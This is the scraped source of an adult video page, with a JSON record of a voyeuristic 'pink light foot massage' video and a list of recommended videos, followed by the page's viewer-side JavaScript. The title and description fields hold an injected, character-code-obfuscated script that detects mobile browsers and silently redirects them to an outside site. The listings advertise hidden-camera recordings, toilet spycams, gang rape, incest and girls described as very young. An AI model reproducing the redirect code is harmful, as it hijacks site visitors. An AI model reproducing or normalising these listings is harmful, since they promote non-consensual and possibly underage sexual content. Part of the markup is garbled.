</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Toko Pijat Kaki dengan Lampu Merah Muda, Mengintip Gadis-Gadis Cantik dengan Celana Dalam Merah Seksi Berpotongan Terbuka, Sangat Memikat
Toko Pijat Kaki dengan Lampu Merah Muda, Mengintip Gadis-Gadis Cantik dengan Celana Dalam Merah Seksi Berpotongan Terbuka, Sangat Memikat","site_id":0,"video_url":"https://2605.v155p.com/20260604/PX37RSaM/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMTllZjAxMWVhOGJlNmYyMDNjY2U2ZjJkYjlkYmYyOGUuanBn.cache","duration":"26:48","actor":[],"lastmod":1783766805,"rating":"7.0","view_count":235,"description":"Sebuah lampu merah muda di tempat pijat kaki diam-diam memotret seorang wanita muda cantik yang mengenakan celana dalam merah terang dengan bagian selangkangan terbuka—sungguh menggoda!","tag":["Pijat kaki","tempat pijat kaki","lampu merah muda di tempat pijat kaki","Cahaya merah muda kecil","Cahaya Merah Muda","Merekam secara diam-diam","Rendam kaki","tempat pijat kaki","cantik","Merindukan","Merindukan","kakak perempuan","Pembukaan","pakaian dalam"],"site_url":"174463","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产自拍"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMTllZjAxMWVhOGJlNmYyMDNjY2U2ZjJkYjlkYmYyOGUuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"足疗店小粉灯偷拍足浴店漂亮小姐姐火红开档内裤太撩人","s_keywords":"足疗店小粉灯偷拍足浴店漂亮小姐姐火红开档内裤太撩人","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Toko Pijat Kaki dengan Lampu Merah Muda, Mengintip Gadis-Gadis Cantik dengan Celana Dalam Merah Seksi Berpotongan Terbuka, Sangat Memikat","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzFlZjllMTEwNDE2NzJkZjU4ODM1NzM0NmE4MjYxMmEuanBn.cache","vod_id":18951410,"title":"HUNTA-130 Adikku datang menginap saat orang tuaku pergi. Namun, kami berbagi kamar. Kamarnya sangat sempit.","lastmod":"2025-03-22","duration":"04:02:35","url":"/play/18951410.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjMwNTIyZGEyMjE0ZTBkMzczNzMzMzFkYjA4ZjhkYTAuanBn.cache","vod_id":18955611,"title":"【Ibu dan Anak yang Paling Kuat❤️ Inses】Si bocah berjubah sangat menyayangi ibunya✨ Saat memancing di tepi Sungai Yangtze, ia melakukan hubungan seks di dalam mobil untuk pertama kalinya bersama ibunya. Sang ibu merasa sangat gatal dan dicurigai sedang direkam secara diam-diam oleh seorang pejalan kaki. Menegangkan, seru, dan sangat menyenangkan.","lastmod":"2025-12-14","duration":"00:26:52","url":"/play/18955611.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWE1MzFjNWM3ZDg1ODQyMWExMzUwYzE1MmUxODVhYzMuanBn.cache","vod_id":18984130,"title":"534CRT-045 Pengalaman Memakai Selama 18 Jam [Pemotretan Pribadi] Seorang gadis mungil dengan bokong penuh dan kencang mengenakan pakaian dalam merah - seorang gadis cantik berambut cokelat dan jeda yang menyenangkan.","lastmod":"2025-12-14","duration":"01:13:07","url":"/play/18984130.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjNkODQxZWY4NjAwZDMyNDhlMmFiNTQyOGE1YmRmZTEuanBn.cache","vod_id":19003750,"title":"SPZ-1036 Insiden yang mungkin terjadi selama pengambilan gambar lelucon dengan amatir! Pakaian dalam yang terlihat, payudara yang terlihat, dan area tubuh lainnya yang terlihat! Pelecehan seksual selama pengambilan gambar pribadi.","lastmod":"2025-03-23","duration":"01:59:57","url":"/play/19003750.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODdlNzRhMDlmMWQ3MDBiNWVlZTIzNzYyNDI5ZTM1MjQuanBn.cache","vod_id":18934596,"title":"CLUB-546 Mengintip dari Dekat: Aku Ingin Melihat Pakaian Dalam dari Dekat! 14 Gadis Berseragam Masturbasi Melalui Pakaian Dalam Mereka","lastmod":"2025-12-14","duration":"01:56:45","url":"/play/18934596.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvN2FlODhhMWNjMDIyNGRhZTUyMGEzYjNlYzYxMjkwOWYuanBn.cache","vod_id":19064696,"title":"Seorang ahli fotografi toilet menyelinap ke gedung perkantoran untuk mengambil foto panorama, bagian 2.","lastmod":"2025-12-14","duration":"38:50","url":"/play/19064696.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTg3OGQxNDI0MWNkOWJlZTBlMDIzNzQxZDM3NzczMDYuanBn.cache","vod_id":19149557,"title":"#Gadis Pelayan Kafe #Tertangkap Hidup-hidup #Penetrasi Tanpa Perlindungan #Ejakulasi di Dalam HRSM-124","lastmod":"2026-03-22","duration":"03:12:26","url":"/play/19149557.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjkvMjJiOTZkNzZhZjk2MzYyYTYzNTBiMmNiMTQ5ZWMzYWIuanBn.cache","vod_id":19049257,"title":"Aku memakan penis pacar adikku untuk makan malam.","lastmod":"2025-08-28","duration":"15:34","url":"/play/19049257.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGY3NTFmZDEzMjgwOTZlNTZiMzQ1M2I5NGY4YjZiYTQuanBn.cache","vod_id":18971780,"title":"IPX-098 Surga Distrik Lampu Merah: 4 Adegan Seks + Salon Pink + Ogura + Pijat Kaki Seragam - Nanami Misaki - Pilihan 240 Menit - Edisi Spesial Lengkap - 7 Adegan Seru!!","lastmod":"2025-12-14","duration":"03:59:32","url":"/play/18971780.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWIyMjM5NGFlMmNmZDkxY2RlMjc1NjIzYmIyMWU2NDcuanBn.cache","vod_id":19008180,"title":"Adikku menghunuskan kakinya yang panjang, menunggu aku untuk menjilat dan menghisap vaginanya yang merah muda. Sungguh nyaman!","lastmod":"2025-03-24","duration":"13:44","url":"/play/19008180.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDJiYmI3Y2NkZTU2ZDgzYjQ5ZDRlNWRjMzUzN2E1NDguanBn.cache","vod_id":19159546,"title":"Siaran langsung: Seorang wanita muda yang manis mengenakan stoking hitam dengan bagian selangkangan terbuka disentuh, dicium Prancis, dan dijilat oleh sahabatnya; dia tampaknya seorang lesbian.","lastmod":"2026-05-23","duration":"01:14:12","url":"/play/19159546.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2E0ZWUwZTAxYWU1NzJlMzdlMTc4M2M4OWFkNGU1YWMuanBn.cache","vod_id":19138210,"title":"Seorang wanita muda yang gemuk dan pendiam bersama pacarnya sedang berhubungan seks dengan penuh gairah.","lastmod":"2026-01-13","duration":"44:54","url":"/play/19138210.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDgvYWQzODMzNWZmMTFlMjA0OTI1OGMwZmM4ZWNkZGQ0ZTQuanBn.cache","vod_id":19056705,"title":"Perekaman kamera tersembunyi, pemerkosaan beramai-ramai saat tidur, penyerangan dan pemerkosaan dengan ejakulasi di dalam, penghinaan kelompok… Manajer wanita yang baru direkrut menjadi sasaran. Empat hari tiga malam penderitaan yang tak tertahankan. (Shirohashi Riho MUKD513)","lastmod":"2025-10-07","duration":"02:18:24","url":"/play/19056705.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTMxZDA3YjUwNzBjZmZhZGFhNmU0YjU4NjFhM2EyZjUuanBn.cache","vod_id":18994304,"title":"SHKD-859-CN Rencana Pemerkosaan Beramai-ramai - Kompilasi Pramugari - Konno Hikaru","lastmod":"2025-03-23","duration":"02:20:12","url":"/play/18994304.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWY0Y2NjM2M3MDVlNzU5M2FiYjY4M2I5YjkxMWJhNDcuanBn.cache","vod_id":18954177,"title":"[Saudari Kesepian di Bagian Keuangan] Bermain dengan vibrator di kantor, bahkan mendengar rekan kerjanya buang air kecil di kamar mandi~ ~✨✨✨ Shift ini sangat mengasyikkan, stoking hitam, vagina seksi, super populer_(baru)","lastmod":"2025-12-14","duration":"00:58:36","url":"/play/18954177.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzA0ZDM2Y2QzZGVkYmVjZmQ4NjMwM2MxNTJiMWJjMWUuanBn.cache","vod_id":18971859,"title":"BBAN-345 Pelatihan lesbian pengantin baru berakhir dengan dia diikat oleh kakak perempuan teman masa kecilnya... Ichiki Mahiro, Otsuki Hibiki","lastmod":"2025-12-14","duration":"02:15:46","url":"/play/18971859.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDEvNzdlMzEzYWM3MzZlY2Y4M2NmNDA1OGFkYWJmOTQ2MjcuanBn.cache","vod_id":19035980,"title":"Siaran langsung seorang wanita muda yang cantik yang memamerkan wajah mudanya dan payudara besarnya sangat memikat.","lastmod":"2025-06-01","duration":"23:25","url":"/play/19035980.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDI0NGU5NTcxMDcxMWQ2NWYxMjZhN2IxY2JkYTRhZTUuanBn.cache","vod_id":18945223,"title":"HOISW-002 Manis! Juara 2: Pacar cantik dengan kelebihan! ・Permainan peran・Doujinshi・Anekdot lucu","lastmod":"2025-03-22","duration":"02:32:25","url":"/play/18945223.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDEzNzE2NzIzNjM3ZTI2YjE3NTc2ZDg2ZWNkZDllYjMuanBn.cache","vod_id":18960888,"title":"SSNI-295, mahakarya erotis paling hebat dalam sejarah doujinshi 3DCG, telah diadaptasi menjadi film live-action! Janji Musim Panas ~Kenangan musim panas yang dihabiskan bersama adikku~ Aoi","lastmod":"2025-03-22","duration":"02:28:00","url":"/play/18960888.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjRhNGFiNjhhNGIwZGNjNzJmMzkxNTNiY2M5YzVhYjkuanBn.cache","vod_id":19140875,"title":"Berkas Persembunyian Wanita Dewasa dan Ibu Rumah Tangga (Rekaman Kamera Tersembunyi) 60 FFFS-068","lastmod":"2026-02-01","duration":"02:39:28","url":"/play/19140875.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTk4NmY5Yzc5NjdlNDRkYzcyY2JlMjYxOGU5ZjJlZWEuanBn.cache","vod_id":18991296,"title":"[Kue Buah] Aku sedang sendirian dengan kakak perempuan pacarku yang cantik ketika tiba-tiba kami berciuman dan dia menjilatnya dengan tidak senonoh.","lastmod":"2025-03-23","duration":"19:55","url":"/play/18991296.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTMxMmY1ZjYyMDI4ODRhNTdjZGRlZDhmMjRkYjM3ZGMuanBn.cache","vod_id":18944354,"title":"Dua pemuda, masing-masing dengan pacar muda yang cantik, check-in ke sebuah hotel. Mereka bergantian mengarahkan cara berhubungan seks dengan kedua wanita itu, menggunakan mentimun dan wortel sebagai umpan. Gadis-gadis itu masih sangat muda! (Mandarin)","lastmod":"2025-03-22","duration":"03:34:38","url":"/play/18944354.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODIzYmNkMzIwYjk2MjgwZmZiNzI2NDNjOGUxMTgzMmEuanBn.cache","vod_id":18999386,"title":"Pesona seorang streamer wanita cantik dan dewasa yang mengenakan stoking~","lastmod":"2025-03-23","duration":"12:30","url":"/play/18999386.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTViZWYyYzM5ZDkzNTE0YTgzYzJjZWJiOTc1YTRmMTguanBn.cache","vod_id":18991949,"title":"300NTK-199 Kecantikan Hantu Gadis Nakal Kelas Atas Membalikkan Seks dengan Pria!! Ejakulasi Jari! Bahkan saat berhubungan seks, Anda akan muncrat! Bahkan setelah selesai, dia masih akan muncrat! Muncrat tanpa henti akan membuat Anda mati di malam hari!! Sungguh menakjubkan bisa berhubungan seks berdua dengan pelacur ini yang telah tidur dengan sekitar 1.000 pria!! Memohon penetrasi mentah ke pantatnya yang super sensitif!? Sosialita Lina muncul, menggeliat liar, lalu membalikkan keadaan dan menjatuhkan Anda dalam posisi cowgirl!! Film Dokumenter Hotel Cinta Istirahat 2 Jam 031","lastmod":"2025-03-23","duration":"01:09:14","url":"/play/18991949.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Toko Pijat Kaki dengan Lampu Merah Muda, Mengintip Gadis-Gadis Cantik dengan Celana Dalam Merah Seksi Berpotongan Terbuka, Sangat Memikat',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}